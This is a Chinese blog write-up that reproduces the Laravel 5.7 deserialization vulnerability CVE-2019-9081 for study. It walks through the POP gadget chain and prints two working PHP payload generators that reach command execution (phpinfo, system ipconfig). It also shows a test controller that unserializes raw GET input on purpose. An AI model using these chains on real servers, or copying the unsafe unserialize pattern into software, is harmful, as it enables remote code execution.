Laravel5.7反序列化漏洞(CVE-2019-9081)

本文详细描述了如何复现Laravel5.7中的CVE-2019-9081反序列化漏洞,包括环境配置、Xdebug的使用、代码审计路径以及利用过程中的调试策略。作者通过逐步分析和修改测试代码,展示了漏洞利用的完整步骤。
摘要由CSDN通过智能技术生成

我的复现都是跟着空白师傅来的:

Laravel5.7(CVE-2019-9081)反序列化漏洞分析与复现_laravel代码审计-CSDN博客

空白师傅写的更精简一些,我的要啰嗦很多,毕竟很菜,记录了很多自己的尝试和想法,希望可以给各位师傅当个参考。

环境搭建

vscode+phpstudy+php 7.4.3

用composer下载Laravel5.7。

composer搭建:

Packagist/Composer中国全量镜像 (pkg.xyz)

php -r "copy('https://install.phpcomposer.com/installer', 'composer-setup.php');"
php composer-setup.php
php -r "unlink('composer-setup.php');"

将得到的composer.phar复制在phpstudy的php目录中,和php.exe为同级目录,必须要大于7.1.3,且不能用php8版本的(踩坑)

然后打开命令行:

composer create-project laravel/laravel=5.7.* --prefer-dist D:\phpstudy_pro\WWW\Laravel5.7

(注意,phpstudy的根目录php版本也要用7.x版本,这里我之前用的8.x版本忘了改就配置失败了。)

如果配置好了,访问/public文件夹:

配置XDEBUG

vscode调试php(解决vscode远程调试无效的问题)_vscodexdebug无法监听-CSDN博客

Xdebug延长调试时间_xdebug 调试时间-CSDN博客

配置反序列化入口

在app\http\Controllers下新建控制器:

<?php
namespace App\Http\Controllers;
​
use Illuminate\Http\Request;
class test_Controller extends Controller
{
    public function test()
    {
        return unserialize($_GET['c']);
    }
}
​
?>

在routes\web.php添加路由:

Route::get('/test','test_Controller@test');//类名@方法名

最终我的访问url,是要访问/public/index.php/test才能访问成功的。

代码审计

起点在vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.phpPendingCommand类的__destruct方法:

其中这个hasExecuted是执行了run()才会为真,默认为false。

跟进run():

可以看到注释写着执行命令,且注意call参数的参数名称:command。

这里的思路是这样的:因为途经的代码很多,可以试着传递命令执行的函数进去,并通过debug功能一步一步走,看最终能否成功执行函数。中途肯定是有很大机率报错的,因为我们是单独的利用这串利用链,而不是正常用这整功能,可能会有一些途径上的必要参数没有传递进去,我们的任务便是跟着调试一步一步走,不断修改报错并观察结果。

<?php
    
namespace Illuminate\Foundation\Testing
{
    class PendingCommand
    {
        public $command;
        protected $parameters;
​
        
        public function __construct()
        {
            $this->command='system';
            $this->parameters='ipconfig';
          
    }
}}
​
namespace a
{   use Illuminate\Foundation\Testing\PendingCommand;
    
    echo urlencode(serialize(new PendingCommand));
}
​
​
?>

将值传给控制器:

发现parameters要求是数组,因为我们不知道它是怎么用数组作为参数,比如是取键值还是利用其本身,我们可以用phpinfo()这个万金油的函数(无论phpinfo(1),还是phpinfo($a[]=1)都可以执行)

修改测试poc:

继续:

这里的$test没有赋值,且是可以控制的,全局搜索expectedQuestions,只找到了一个trait,不可以实例化:

那么便会想到找__get方法,这里就有两种思路了:

第一种思路是以这里为跳板,找其它执行执行函数的地方,当然,这个思路看起来是扯淡的,因为我们已经找到了一个可以执行函数的地方,为什么还要多此一举呢?

第二种思路是跟着之前的思路走,找个类有可以返回数组值的__get方法,只是填充一下链子的途径的必要参数,把我们之前以run()方法为执行点的利用链走完。

思路1.

产生思路1的原因是我找__get的时候偶然发现一个熟悉的身影:

跟进format:

这不就是yii2的那条利用链吗!并且还有

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)的抽象类

找到一个继承类(抽象类不可以被实例化,其继承类才会)

试着构造了这样一个exp:

<?php
namespace PharIo\Manifest
{
    class AuthorTest
    {
        private $outputCallback;
        private $output;
        public function __construct()
        {
            $this->outputCallback="system";
            $this->output="ipconfig";
        }
    }
}
namespace Faker
{ 
   use Illuminate\Foundation\Testing\PendingCommand;
   use PharIo\Manifest\AuthorTest;
   class Generator
   {
      private $formatters;
      public function __construct()
      {
         $this->formatters['expectedQuestions']=[new AuthorTest,'stopOutputBuffering'];
       }
      }
}
​
namespace Illuminate\Foundation\Testing
{  use Faker\Generator;
    class PendingCommand
    {   
        public $test;
        public $command;
        protected $parameters;
​
        
        public function __construct()
        {
            $this->command=111;
            $this->parameters[]=1;
            $this->test=new Generator;
    }
}}
​
namespace a
{   use Illuminate\Foundation\Testing\PendingCommand;
    
    echo urlencode(serialize(new PendingCommand));
}
?>

弄了许久,然后我才发现stopOutputBuffering方法,也就是call_user_func所在方法是一个private方法,不允许子类访问。。。。。。寄。不过还是挺有收获的。

思路2.

那么按着原先的思路走,找到了一个能构造返回值的__get方法:

改测试exp;

<?php
    
namespace Faker
{
    class DefaultGenerator
    {
        protected $default=array(1,1);
    }
}
namespace Illuminate\Foundation\Testing
{  
    use Faker\DefaultGenerator;
    class PendingCommand
    {  
       public $test;
        public $command;
        protected $parameters;
        
        
        public function __construct()
        {
            $this->command='phpinfo';
            $this->parameters[]=1;
            $this->test=new DefaultGenerator();
    }
}}
​
namespace a
{   use Illuminate\Foundation\Testing\PendingCommand;
    
    echo urlencode(serialize(new PendingCommand));
}
​
​
?>

继续:

同理,找__call方法

还是刚才那个类:

修改:


继续:

看了一看app的属性:

要传入application的实例化类:

这时设置一下断点,进入调试模式单步调式。

这里便是执行代码的关键。

可以看到要调用call函数的话,前面app[]必须返回application对象(call方法在application类中)。那么我们的目的便是让其返回application对象。

跟着调试继续走:

直接来到Container下的offsetGet方法。

跟进make:

跟进resolve:

protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);
​
        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }
    
    
​
        $this->with[] = $parameters;
​
        $concrete = $this->getConcrete($abstract);
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }
​
​
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }
​
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }
​
        $this->fireResolvingCallbacks($abstract, $object);
        $this->resolved[$abstract] = true;
        array_pop($this->with);
​
        return $object;
    }

牢记我们的目的:让resolve返回application对象。

这里有两种方法,衍生出来两条链子。一种是进入第一个if,且直接返回application对象,第二种是走完剩下的,return object返回的是application。

第一条链子

我们想要

 $abstract = $this->getAlias($abstract);
​
 $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );
        
 if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

直接返回application object。

其中abstract的值是Illuminate\Contracts\Console\Kernel

这是变不了的,因为这就是:

现在要触发return的话,需要$needsContextualBuild为0isset($this->instances[$abstract])为1,现在先关注 $needsContextualBuild。

令$needsContextualBuild=0

其中! empty($parameters)已经是0了,只需要$this->getContextualConcrete($abstract)返回NULL,那么跟进getContextualConcrete:

只要让它return一个null值我们的目的便达成了,看第二个if,abstractAliases['Illuminate\Contracts\Console\Kernel']是未设置的,所以直接返回NULL。

那么这里其实什么也没做就使得$needsContextualBuild=0了。

令$this->instances[$abstract]为一个application对象

$this->instances[$abstract]为一个application对象的话既满足了return的条件:

if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

又能返回一个application对象。

这个就轻松多了,直接:

use .....\application

$this->instances=array('llluminate\Contracts\Console\Kernel'=>new application)


这样的话就直接返回了一个application对象来调用call,我们继续跟进一下call方法。

call方法是Container类中的方法,被application类所继承:

而这个类的实现又是靠的Illuminate\Container\BoundMethod类中的call方法:

我们肯定是要那个call_user_func_array执行命令,前面的if是一定要bypass的,$defaultMethod已经为NULL了,只需isCallableWithAtSign($callback)为0即可:

那没事了,因为我们函数里面没有"@",所以返回0,此时我们眼光放在:

 return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });

跟进getMethodDependencies:

    protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
        $dependencies = [];
​
        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }
​
        return array_merge($dependencies, $parameters);
    }

跟进getCallReflector:

  protected static function getCallReflector($callback)
    {
        if (is_string($callback) && strpos($callback, '::') !== false) {
            $callback = explode('::', $callback);
        }
​
        return is_array($callback)
                        ? new ReflectionMethod($callback[0], $callback[1])
                        : new ReflectionFunction($callback);
    }
​

返回new ReflectionFunction($callback),ReflectionFunction是一个反射类,可以通过这个对象来获得方法的名称,属性等。

然后对于static::getCallReflector($callback)->getParameters():

不过我们传递的phpinfo是没有参数的。

跟进addDependencyForCallParameter:

看最后一个elseif:

进入最后一个elseif。

那么这里返回$dependencies[]=

返回默认值,我们的默认值还是空,毕竟phpinfo()嘛。

那么这里就变成了类似于:

call_user_func_array(
                'phpinfo',array()
            );

到此,整个利用链结束。


EXP-1

先总结一下思路:

Illuminate\Foundation\Testing\PendingCommand.__construct()-->run()
在run()中通过Faker\DefaultGenerator满足条件,来到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
给app赋值为new application,且初始化$this->instances。
随后经过application->call()按默认条件就能执行phpinfo()。

构造EXP,注意一下这里对Application的处理。

<?php
 //注意 可能post环境或者一些环境将命令参数中的空格url编码成+的话做不了了,post不会将+看成空格。需要手动将+换成空格。
 //然后对于属性的性质如protected,public这些不要乱变动,我之前些错了导致做不出来。
​
namespace Illuminate\Foundation
{
 class Application
 {
    protected $instances=[];
    public function __construct($a=[])
   {
    $this->instances['Illuminate\Contracts\Console\Kernel']=$a;
   }
}
}
namespace Faker
{
    class DefaultGenerator
    {
        protected $default=array(1,1);
    }
}
​
​
​
namespace Illuminate\Foundation\Testing
{  
    use Faker\DefaultGenerator;
    class PendingCommand
    {  
       public $test;
        protected $command;
        protected $parameters;
        protected $app;
        
        public function __construct($app)
        {
            $this->command='phpinfo';
            $this->parameters[]=1;
            $this->test=new DefaultGenerator();
            $this->app=$app;
    }
}}
​
namespace
{   use Illuminate\Foundation\Testing\PendingCommand;
    use Illuminate\Foundation\Application;
    $a=new Application();
    $app=new Application($a);
​
​
    echo urlencode(serialize(new PendingCommand($app)));
}
?>

试试

$this->command='system';
​
$this->parameters[]='ipconfig';

这里传的parameters[]和resolve里面的parameters是不一样的,这个parameters是来源于最早offset方法下的make方法,所以是会在resolve方法中满足第一个if满足application的(之前复现的时候没走过来这个坑)

第二条链子

差异点只在resolve如何返回application对象的,让我们重新回到resolve方法:

protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);
​
        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }
  
    //进入下方
        $this->with[] = $parameters;
        $concrete = $this->getConcrete($abstract);
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }
​
​
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }
​
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }
​
        $this->fireResolvingCallbacks($abstract, $object);
        $this->resolved[$abstract] = true;
        array_pop($this->with);
​
        return $object;
    }

不用第一个if的话就不设置$this->instances['Illuminate\Contracts\Console\Kernel']=$a了,直接往后走。这里先不急着看getConcrete方法,我们先看看后面是怎样一个逻辑,才能知道我们的利用方向。

跟进build:

 public function build($concrete)
    {
        if ($concrete instanceof Closure) {
            return $concrete($this, $this->getLastParameterOverride());
        }
​
        $reflector = new ReflectionClass($concrete);
​
        if (! $reflector->isInstantiable()) {
            return $this->notInstantiable($concrete);
        }
​
        $this->buildStack[] = $concrete;
​
        $constructor = $reflector->getConstructor();
​
        if (is_null($constructor)) {
            array_pop($this->buildStack);
​
            return new $concrete;
        }
​
        $dependencies = $constructor->getParameters();
​
        $instances = $this->resolveDependencies(
            $dependencies
        );
        array_pop($this->buildStack);
        return $reflector->newInstanceArgs($instances);
    }

其实看了两眼就明白这一系列函数是怎么回事了,就是实例化类似Illuminate\Contracts\Console\Kernel的对象,其实到了这里我才恍然大悟,原来这其实就是一个命名空间下的某个对象,是可以直接这样表示的,我之前一直以为是某条什么路径。

其中我们大概率是不会用到第二个if语句返回值的:

  if (! $reflector->isInstantiable()) {
            return $this->notInstantiable($concrete);
        }

ReflectionClass::isInstantiable是判断这个类能否实例化,我们如果要利用前面的传入application类,是肯定能实例化的。

其中 if ($concrete instanceof Closure)是判断这个$concrete是否为闭包,闭包都是指在函数中调用一个匿名函数,具体就不解释了,所以这个if也是不会进入的。

然后后面就是判断类是否有__construct方法,我们的application是有的,然后就是获取构造函数的参数,并ReflectionClass::newInstanceArgs用其参数构造类并返回。

那么我们的目的就很明确了,让$concrete为application。

那么回到

 $concrete = $this->getConcrete($abstract);

进入getConcrete:

很好,直接利用第二个if给bindings赋值Illuminate\Foundation\application。

类似于:

$bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>Illuminate\Foundation\application))

这里不会直接进入build,而是会经过第二个if,再进入一次make-->reslove,然后才会build,因为$this->isBuildable($concrete, $abstract)

现在我们的$object已经拿到我们想要的东西了,现在就是继续望后看让$object保持原样。

其实后面也没有什么了,不会对object有什么本质的影响了,到此成功返回application。

EXP-2

<?php
​
 //注意 可能post环境或者一些环境将命令参数中的空格url编码成+的话做不了了,post不会将+看成空格。需要手动将+换成空格。
 //然后对于属性的性质如protected,public这些不要乱变动,我之前些错了导致做不出来。
  
    
 namespace Illuminate\Foundation
{
 class Application
 {
        protected $bindings = [];
​
    public function __construct()
   {
    $this->bindings['Illuminate\Contracts\Console\Kernel']['concrete']='Illuminate\Foundation\application';
​
   }
}
}
namespace Faker
{
    class DefaultGenerator
    {
        protected $default=array(1,1);
    }
}
​
namespace Illuminate\Foundation\Testing
{  
    use Faker\DefaultGenerator;
    use Illuminate\Foundation\Application;
    class PendingCommand
    {  
       public $test;
        protected $command;
        protected $parameters;
        protected $app;
        
        public function __construct()
        {
            $this->command='phpinfo';
            $this->parameters[]=1;
            $this->test=new DefaultGenerator();
            $this->app=new application();
    }
}}
​
namespace
{   use Illuminate\Foundation\Testing\PendingCommand;
​
​
    echo urlencode(serialize(new PendingCommand()));
}
?>

system ipconfig:

  • 28
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值